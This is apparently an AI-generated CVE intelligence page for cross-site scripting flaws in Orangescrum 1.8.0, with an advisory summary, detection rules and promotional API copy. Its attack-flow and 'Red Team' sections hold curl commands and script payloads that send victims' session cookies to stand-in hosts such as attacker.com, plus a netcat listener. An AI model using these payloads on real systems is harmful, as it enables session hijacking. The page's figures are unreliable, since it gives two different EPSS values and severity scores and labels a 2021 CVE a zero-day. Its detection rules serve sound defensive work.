☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2021-47716

CVE-2021-47716 Cross-Site Scripting in Orangescrum
📅 PUBLISHED: 2025-12-23 19:35 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
5.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: India License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2021-47716 identifies multiple stored and reflected cross-site scripting (XSS) vulnerabilities in Orangescrum version 1.8.0. An authenticated attacker can inject arbitrary JavaScript through parameters such as projid, CS_message, and name across various application endpoints. Successful exploitation allows session hijacking, credential theft, or defacement within the victim's browser context. The vendor has not released a patch, leaving all deployments of version 1.8.0 vulnerable. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Orangescrum is a self-hosted PHP application. No official package manager (NPM, PyPI, Go, Ruby) is involved. The vulnerability is in the application's own code, not in a third-party library.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated user)
  • User Interaction: Required (victim must click a crafted link or view a page)
  • Scope: Changed (impact on resources beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires authentication and user interaction, but the impact can escalate to full account takeover if session tokens are stolen.

Deep Dive & Mechanics

The vulnerability stems from insufficient sanitization of user-supplied input in multiple parameters. The application fails to encode or escape HTML/JavaScript before rendering it in the browser.

  • Parameter projid: Injected via project-related endpoints. An attacker can craft a URL like https://target/orangescrum/project/view?projid=<script>alert(1)</script>.
  • Parameter CS_message: Used in chat or messaging features. Stored XSS occurs when a malicious message is saved and later viewed by other users.
  • Parameter name: Typically used in user profile or project name fields. Stored XSS persists until the data is rendered.

The attack flow:

  1. Attacker logs in with low-privileged credentials.
  2. Attacker submits a crafted payload (e.g., <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>) via a vulnerable parameter.
  3. Victim (another authenticated user) views the affected page.
  4. The payload executes in the victim's browser, sending their session cookie to the attacker.

Vulnerable vs. Patched Code

Vulnerable Code (Orangescrum 1.8.0):

// In a controller or view file
echo "<input type='hidden' name='projid' value='" . $_GET['projid'] . "'>";

Patched Code (hypothetical fix):

// Use htmlspecialchars to escape output
echo "<input type='hidden' name='projid' value='" . htmlspecialchars($_GET['projid'], ENT_QUOTES, 'UTF-8') . "'>";

The vulnerable code directly echoes user input without sanitization. The patched version uses htmlspecialchars() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Orangescrum 1.8.0 instance
  • Valid low-privilege user credentials
  • A listener to capture exfiltrated data (e.g., nc -lvnp 8080)

Step 1: Identify vulnerable endpoint

# Example: project view endpoint
curl -X GET "http://target/orangescrum/project/view?projid=<script>alert(1)</script>"

Step 2: Craft stored XSS payload

// Payload for CS_message parameter
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Step 3: Submit via POST request

curl -X POST "http://target/orangescrum/chat/send" \
  -d "CS_message=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"

Step 4: Victim views the message – cookie is exfiltrated.

Blue Team (Defense & Detection)

Detection:

  • Monitor for unusual characters in projid, CS_message, and name parameters.
  • Look for <script> tags or event handlers (e.g., onload, onerror) in logs.
  • Use WAF rules to block common XSS patterns.

Mitigation:

  • Apply input validation and output encoding (see Remediation).
  • Restrict user permissions to limit attack surface.
  • Deploy Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar.
    • Suspicious parameters in GET/POST requests: projid=<script>, CS_message=<script>, name=<script>.
  • Host IOCs:
    • Log entries showing unescaped HTML/JavaScript in application logs.
    • Unexpected JavaScript files or inline scripts in the application's web root.
  • File IOCs:
    • Modified PHP files containing echo $_GET['projid'] without sanitization.

Detection Engineering

YARA Rule

rule CVE_2021_47716_XSS_Orangescrum {
    meta:
        description = "Detects XSS payloads targeting Orangescrum 1.8.0"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2021-47716"
    strings:
        $xss1 = /projid\s*=\s*[^&]*<script/i
        $xss2 = /CS_message\s*=\s*[^&]*<script/i
        $xss3 = /name\s*=\s*[^&]*<script/i
        $xss4 = /onerror\s*=|onload\s*=|onclick\s*=/i
    condition:
        any of ($xss1, $xss2, $xss3) or $xss4
}

Sigma Rule

title: CVE-2021-47716 Orangescrum XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts against Orangescrum 1.8.0
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'projid=<script'
            - 'CS_message=<script'
            - 'name=<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in non-production environments
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2021-47716 Orangescrum XSS Attempt";
    flow:to_server,established;
    content:"projid=<script"; http_uri;
    content:"CS_message=<script"; http_uri;
    content:"name=<script"; http_uri;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: No official patch exists. Consider migrating to a supported project management tool.
  2. WAF Rules: Deploy web application firewall rules to block XSS patterns (e.g., <script, onerror, javascript:).
  3. Input Validation: Implement server-side validation to reject or sanitize HTML/JavaScript in all user inputs.
  4. Output Encoding: Use htmlspecialchars() or equivalent for all dynamic content rendered in HTML context.
  5. CSP Header: Add Content-Security-Policy: script-src 'self' to prevent inline script execution.

Long-Term Fix:

  • Fork the repository and apply the patch manually (see Vulnerable vs. Patched Code section).
  • Conduct a full security audit of the application.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defense purposes only.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2021-47716/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.